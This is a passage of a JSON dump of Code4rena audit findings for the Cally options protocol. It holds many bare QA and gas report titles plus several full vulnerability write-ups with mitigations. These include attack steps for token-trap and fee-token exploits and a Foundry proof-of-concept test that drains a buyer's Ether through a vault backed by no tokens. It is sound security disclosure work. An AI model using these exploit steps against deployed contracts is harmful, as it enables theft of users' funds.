"html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/259", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/256", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "`createVault()` does not confirm whether `tokenType` and `token`\u2019s type are the same", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/243", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-05-cally-findings", "body": "`createVault()` does not confirm whether `tokenType` and `token`\u2019s type are the same"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/233", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/232", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/231", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/230", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "[WP-H0] Fake balances can be created for not-yet-existing ERC20 tokens, which allows attackers to set traps to steal funds from future users", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/225", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L158-L201 # Vulnerability details https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L158-L201 ```solidity function createVault( uint256 tokenIdOrAmount, address token, ... ) external returns (uint256 vaultId) { ... Vault memory vault = Vault({ ... }); // vault index should always be odd vaultIndex += 2; vaultId = vaultIndex; _vaults[vaultId] = vault; // give msg.sender vault token _mint(msg.sender, vaultId); emit NewVault(vaultId, msg.sender, token); // transfer the NFTs or ERC20s to the contract vault.tokenType == TokenType.ERC721 ? ERC721(vault.token).transferFrom(msg.sender, address(this), vault.tokenIdOrAmount) : ERC20(vault.token).safeTransferFrom(msg.sender, address(this), vault.tokenIdOrAmount); } ``` https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L23-L34 ```solidity import \"solmate/utils/SafeTransferLib.sol\"; ... contract Cally is CallyNft, ReentrancyGuard, Ownable { using SafeTransferLib for ERC20; ... ``` When creating a new vault, solmate's `SafeTransferLib` is used for pulling `vault.token` from the caller's account, this issue won't exist if OpenZeppelin's SafeERC20 is used instead. That's because there is a subtle difference between the implementation of solmate's `SafeTransferLib` and OZ's `SafeERC20`: OZ's `SafeERC20` checks if the token is a contract or not, solmate's `SafeTransferLib` does not. See: https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol#L9 > Note that none of the functions in this library check that a token has code at all! That responsibility is delegated to the caller. As a result, when the token's address has no code, the transaction will just succeed with no error. This attack vector was made well-known by the qBridge hack back in Jan 2022. For our project, this alone still won't be a problem, a vault created and wrongfully accounted for a certain amount of balance for a non-existing token won't be much of a problem, there will be no fund loss as long as the token stays that way (being non-existing). However, it's becoming popular for protocols to deploy their token across multiple networks and when they do so, a common practice is to deploy the token contract from the same deployer address and with the same nonce so that the token address can be the same for all the networks. For example: $1INCH is using the same token address for both Ethereum and BSC; Gelato's $GEL token is using the same token address for Ethereum, Fantom and Polygon. A sophisticated attacker can exploit it by taking advantage of that and setting traps on multiple potential tokens to steal from the future users that deposits with such tokens. ### PoC Given: - ProjectA has TokenA on another network; - ProjectB has TokenB on another network; - ProjectC has TokenC on another network; 1. The attacker `createVault()` for `TokenA`, `TokenB`, and `TokenC` with `10000e18` as `tokenIdOrAmount` each; 2. A few months later, ProjectB lunched `TokenB` on the local network at the same address; 3. Alice created a vault with `11000e18 TokenB`; 4. The attacker called `initiateWithdraw()` and then `withdraw()` to receive `10000e18 TokenB`. In summary, one of the traps set by the attacker was activated by the deployment of `TokenB` and Alice was the victim. As a result, `10000e18 TokenB` was stolen by the attacker. ### Recommendation Consider using OZ's `SafeERC20` instead. "}, {"title": "It shouldn\u2019t be possible to create a vault with Cally\u2019 own token", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/224", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L193 https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L199 # Vulnerability details ## Impact Affected code: - [https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L193](https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L193) - [https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L199](https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L199) Currently it\u2019s possible to create an ERC-721 vault using Cally\u2019 own address as `token`, and using the freshly minted vault id as `tokenIdOrAmount`. This results in a new vault whose ownership is passed to Cally contract immediately upon creation. The vault allows users to perform `buyOption` and increase the ETH balance of the Cally contract itself, which is still the vault beneficiary. As soon as an user calls `exercise`, she will receive the `vault.tokenIdOrAmount` in exchange, which in this case coincides with the vault nft. However this is of no good because the final user may just initiate a withdrawal, which will: - always fail because the vault id is burned ([https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L335](https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L335)) and then transferred back to the user ([https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L344](https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L344)) - leave all the ETH unredemable in Cally contract So the vault will be unusable and the ETH deposited by users to buy/exercise options will remain locked in Cally contract ## Proof of Concept - Current vault id is, let\u2019s say, 11 - User deploys a vault with Cally\u2019 address as `token` and `13` as `tokenIdOrAmount` - Since `createVault()` mints the vault token to the user, and then transfers the underlying address from the user, an user is able to create a vault with something she doesn\u2019t own at the moment of the `createVault()` function call, because it\u2019s created while the function runs - The vault `13` is pretty limited in functionality, because Cally\u2019 smart contract is the owner - However, users can still buy options: so Alice and Bob deposit their premiums - Whoever `exercise` the active option, becomes the vault owner now; this is of no good because no one can actually call `withdraw()` as it will always revert, and no one can recover the ETH deposited by Alice and Bob as they are locked forever ## Tools Used Editor ## Recommended Mitigation Steps Add the following check at the start of `createVault()`: ```jsx require(token != address(this), \"Cant use Cally as token\"); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/223", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/220", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/219", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/218", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimization"}, {"title": "incorrect calculation of fee", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-cally-findings", "body": "incorrect calculation of fee"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/216", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Cally Protocol Does Not Support Cryptopunk or Cryptokitties Tokens", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/207", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-cally-findings", "body": "Cally Protocol Does Not Support Cryptopunk or Cryptokitties Tokens"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/201", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimization"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/197", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/193", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/190", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/189", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/184", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/183", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/182", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/181", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/175", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/174", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/173", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/172", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/164", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/162", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/157", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/156", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/152", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/150", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/148", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/146", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/144", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Inefficiency in the Dutch Auction due to lower duration", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/138", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L406-L423 # Vulnerability details The vulnerability or bug is in the implementation of the function getDutchAuctionStrike() The AUCTION_DURATION is defined as 24 hours, and consider that the dutchAuctionReserveStrike (or reserveStrike) will never be set to 0 by user. Now if a vault is created with startingStrike value of 55 and reserveStrike of 13.5 , the auction price will drop from 55 to 13.5 midway at ~12 hours. So, after 12 hours from start of auction, the rate will be constant at reserveStrike of 13.5, and remaining time of 12 hours of auction is a waste. Some other examples : ``` startStrike, reserveStrike, time-to-reach-reserveStrike 55 , 13.5 , ~12 hours 55 , 5 , ~16.7 hours 55 , 1.5 , ~20 hours 5 , 1.5 , ~11 hours ``` ## Impact The impact is high wrt Usability, where users have reduced available time to participate in the auction (when price is expected to change). The vault-Creators or the option-Buyers may or may not be aware of this inefficiency, i.e., how much effective time is available for auction. ## Proof of Concept Contract : Cally.sol Function : getDutchAuctionStrike () ## Recommended Mitigation Steps The function getDutchAuctionStrike() can be modified such that price drops to the reserveStrike exactly at 24 hours from start of auction. ``` /* delta = max(auctionEnd - currentTimestamp, 0) progress = delta / auctionDuration auctionStrike = progress^2 * (startingStrike - reserveStrike) << Changes here strike = auctionStrike + reserveStrike << Changes here */ uint256 delta = auctionEndTimestamp > block.timestamp ? auctionEndTimestamp - block.timestamp : 0; uint256 progress = (1e18 * delta) / AUCTION_DURATION; uint256 auctionStrike = (progress * progress * (startingStrike-reserveStrike)) / (1e18 * 1e18); strike = auctionStrike + reserveStrike; ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/134", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/132", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)", "QA - High quality report"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/125", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/122", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)", "QA - High quality report"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/113", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/102", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/98", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/96", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Lack of 0 amount check allows malicious user to create infinite vaults", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/91", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L200 # Vulnerability details ## Impact A griefer is able to create as many vaults as they want by simply calling `createVault()` with `tokenIdOrAmount = 0`. This will most likely pose problems on the front-end of the Cally protocol because there will be a ridiculously high number of malicious vaults displayed to actual users. I define these vaults as malicious because it is possible that a user accidently buys a call on this vault which provides 0 value in return. Overall, the presence of zero-amount vaults is damaging to Cally's product image and functionality. ## Proof of Concept - User calls `createVault(0,,,,);` with an ERC20 type. - There is no validation that `amount > 0` - Function will complete successfully, granting the new vault NFT to the caller. - Cally protocol is filled with unwanted 0 amount vaults. ## Tools Used Manual review ## Recommended Mitigation Steps Add the simple check `require(tokenIdOrAmount > 0, \"Amount must be greater than 0\");` "}, {"title": "no-revert-on-transfer ERC20 tokens can be drained", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/89", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code\r \r https://github.com/code-423n4/2022-05-cally/blob/main/contracts/src/Cally.sol#L198-L200\r \r \r # Vulnerability details\r \r ## Impact\r Some ERC20 tokens don't throw but just return false when a transfer fails. This can be abused to trick the `createVault()` function to initialize the vault without providing any tokens. A good example of such a token is *ZRX*: [Etherscan code](https://etherscan.io/address/0xe41d2489571d322189246dafa5ebde1f4699f498#code#L64)\r \r When such a vault is initialized, another user can both buy and exercise the option without ever receiving any funds. The creator of the vault does receive the buyer's Ether tho. So it can cause a loss of funds.\r \r ## Proof of Concept\r The trick is to create a vault with an ERC20 token but use ERC721 as the vault's type. Then, instead of calling `safeTransferFrom()` the function calls `transferFrom()` which won't catch the token returning false.\r \r Here's a test that showcases the issue:\r \r ```solidity\r // CreateVault.t.sol\r function testStealFunds() public {\r // address of 0x on mainnet\r address t = address(0xE41d2489571d322189246DaFA5ebDe1F4699F498);\r vm.startPrank(babe);\r require(ERC20(t).balanceOf(babe) == 0);\r uint vaultId = c.createVault(100, t, 1, 1, 1, 0, Cally.TokenType.ERC721);\r // check that neither the Cally contract nor the vault creator\r // had any 0x tokens\r require(ERC20(t).balanceOf(babe) == 0);\r require(ERC20(t).balanceOf(address(c)) == 0);\r \r // check whether vault was created properly\r Cally.Vault memory v = c.vaults(vaultId);\r require(v.token == t);\r require(v.tokenIdOrAmount == 100);\r vm.stopPrank();\r // So now there's a vault for 100 0x tokens although the Cally contract doesn't\r // have any.\r // If someone buys & exercises the option they won't receive any tokens.\r uint premium = 0.025 ether;\r uint strike = 2 ether;\r require(address(c).balance == 0, \"shouldn't have any balance at the beginning\");\r require(payable(address(this)).balance > 0, \"not enough balance\");\r \r uint optionId = c.buyOption{value: premium}(vaultId);\r c.exercise{value: strike}(optionId);\r \r // buyer of option (`address(this)`) got zero 0x tokens\r // But buyer lost their Ether\r require(ERC20(t).balanceOf(address(this)) == 0);\r require(address(c).balance > 0, \"got some money\");\r }\r ```\r \r To run it, you need to use forge's forking mode: `forge test --fork-url --match testStealFunds`\r \r ## Tools Used\r none\r \r ## Recommended Mitigation Steps\r I think the easiest solution is to use `safeTransferFrom()` when the token is of type ERC721. Since the transfer is at the end of the function there shouldn't be any risk of reentrancy. If someone passes an ERC20 address with type ERC721, the `safeTransferFrom()` call would simply fail since that function signature shouldn't exist on ERC20 tokens.\r \r "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "User's may accidentally overpay in `buyOption()` and the excess will be paid to the vault creator", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/84", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L223-L224 # Vulnerability details ## Impact It is possible for a user purchasing an option to accidentally overpay the premium during `buyOption()`. Any excess funds paid for in excess of the premium will be transferred to the vault creator. The premium is fixed at the time the vault is first created by `vault.premiumIndex`. Hence there is no need to allow users to overpay since there will be no benefit. ## Proof of Concept `buyOption()` allows `msg.value > premium` ```solidity uint256 premium = getPremium(vaultId); require(msg.value >= premium, \"Incorrect ETH amount sent\"); ``` ## Recommended Mitigation Steps Consider modifying the check such that the `msg.value` is exactly equal to the `premuim`. e.g. ```solidity uint256 premium = getPremium(vaultId); require(msg.value == premium, \"Incorrect ETH amount sent\"); ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)", "QA - High quality report"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Vault is Not Compatible with Fee Tokens and Vaults with Such Tokens Could Be Exploited", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/61", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-cally-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L198-L200 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L294-L296 https://github.com/code-423n4/2022-05-cally/blob/1849f9ee12434038aa80753266ce6a2f2b082c59/contracts/src/Cally.sol#L343-L345 # Vulnerability details ## Impact Some ERC20 tokens charge a transaction fee for every transfer (used to encourage staking, add to liquidity pool, pay a fee to contract owner, etc.). If any such token is used in the `createVault()` function, either the token cannot be withdrawn from the contract (due to insufficient token balance), or it could be exploited by other such token holders and the `Cally` contract would lose economic value and some users would be unable to withdraw the underlying asset. ## Proof of Concept Plenty of ERC20 tokens charge a fee for every transfer (e.g. Safemoon and its forks), in which the amount of token received is less than the amount being sent. When a fee token is used as the `token` in the `createVault()` function, the amount received by the contract would be less than the amount being sent. To be more precise, the increase in the `cally` contract token balance would be less than `vault.tokenIdOrAmount` for such ERC20 token because of the fee. ``` vault.tokenType == TokenType.ERC721 ? ERC721(vault.token).transferFrom(msg.sender, address(this), vault.tokenIdOrAmount) : ERC20(vault.token).safeTransferFrom(msg.sender, address(this), vault.tokenIdOrAmount); ``` The implication is that both the `exercise()` function and the `withdraw()` function are guaranteed to revert if there's no other vault in the contract that contains the same fee tokens, due to insufficient token balance in the `Cally` contract. When an attacker observes that a vault is being created that contains such fee tokens, the attacker could create a new vault himself that contains the same token, and then withdraw the same amount. Essentially the `Cally` contract would be paying the transfer fee for the attacker because of how the token amount is recorded. This causes loss of user fund and loss of value from the `Cally` contract. It would make economic sense for the attacker when the fee charged by the token accrue to the attacker. The attacker would essentially use the `Cally` contract as a conduit to generate fee income. ## Tools Used Manual review ## Recommended Mitigation Steps Recommend disallowing fee tokens from being used in the vault. This can be done by adding a `require()` statement to check that the amount increase of the `token` balance in the `Cally` contract is equal to the amount being sent by the caller of the `createVault()` function. "}, {"title": "Gas Optimizations", "html_url": 